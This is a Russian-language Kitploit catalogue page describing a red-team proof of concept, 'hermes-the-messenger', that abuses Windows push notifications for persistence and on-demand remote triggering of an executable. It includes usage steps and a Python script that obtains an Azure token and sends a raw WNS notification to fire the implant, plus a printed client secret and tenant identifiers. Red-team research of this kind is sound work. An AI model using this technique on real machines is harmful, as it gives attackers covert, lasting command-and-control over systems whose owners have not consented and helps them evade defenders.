Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
hermes-the-messenger — PoC для обеспечения закрепления в Windows через push-уведомления | Kitploit
Инструменты/GitHubGitHub/persistent-security/hermes-the-messenger
Механизмы персистентностиПост-эксплуатацияКомандование и УправлениеRed Teaming
GitHubpersistent-security/hermes-the-messenger

hermes-the-messenger

PoC для обеспечения закрепления в Windows через push-уведомления

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
4843 лет назадПроверено Kitploit

Hermes the messenger

PoC для обеспечения персистентности через push-уведомления в Windows

Более подробные технические детали и описание читайте в нашем блоге: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence

Использование

Прежде всего вам нужно настроить Azure. Затем нужно один раз запустить исполняемый файл, чтобы он зарегистрировался для получения push-уведомлений. Достаточно передать object id вашего приложения Azure в качестве аргумента, и если всё пройдёт хорошо, он выведет channel Uri, полученный от Microsoft. После этого приложение можно закрыть.

root@kitploit:~
hermes.exe <object_id>

Если SDK 1.3 не установлен, бинарный файл попытается развернуть его вместе с необходимыми расширениями.

Когда у вас есть channel Uri, можно попытаться удалённо запустить ваш исполняемый файл с другой машины, вызвав API уведомлений с данными вашего тенанта, и наблюдать, как происходит магия:

root@kitploit:~
import requests

secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."

def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
    # Acquire token
    url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    data = {
        'grant_type': 'client_credentials',
        'client_id': app_id,
        'client_secret': secret,
        'scope': 'https://wns.windows.com/.default'
    }
    response = requests.post(url, headers=headers, data=data)
    response_json = response.json()
    token = response_json['access_token']

    # Send notification
    headers = {
        'Content-Type': 'application/octet-stream',
        'Authorization': f'Bearer {token}',
        'X-WNS-Type': 'wns/raw',
    }
    response = requests.post(channel_uri, headers=headers, data=notification_data)
    return response.status_code, response.text
	
	
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")

Демонстрация

https://github.com/persistent-security/hermes-the-messenger/assets/134269747/1de3afdc-79dc-4de6-827b-6acba44f910b

Скачать инструмент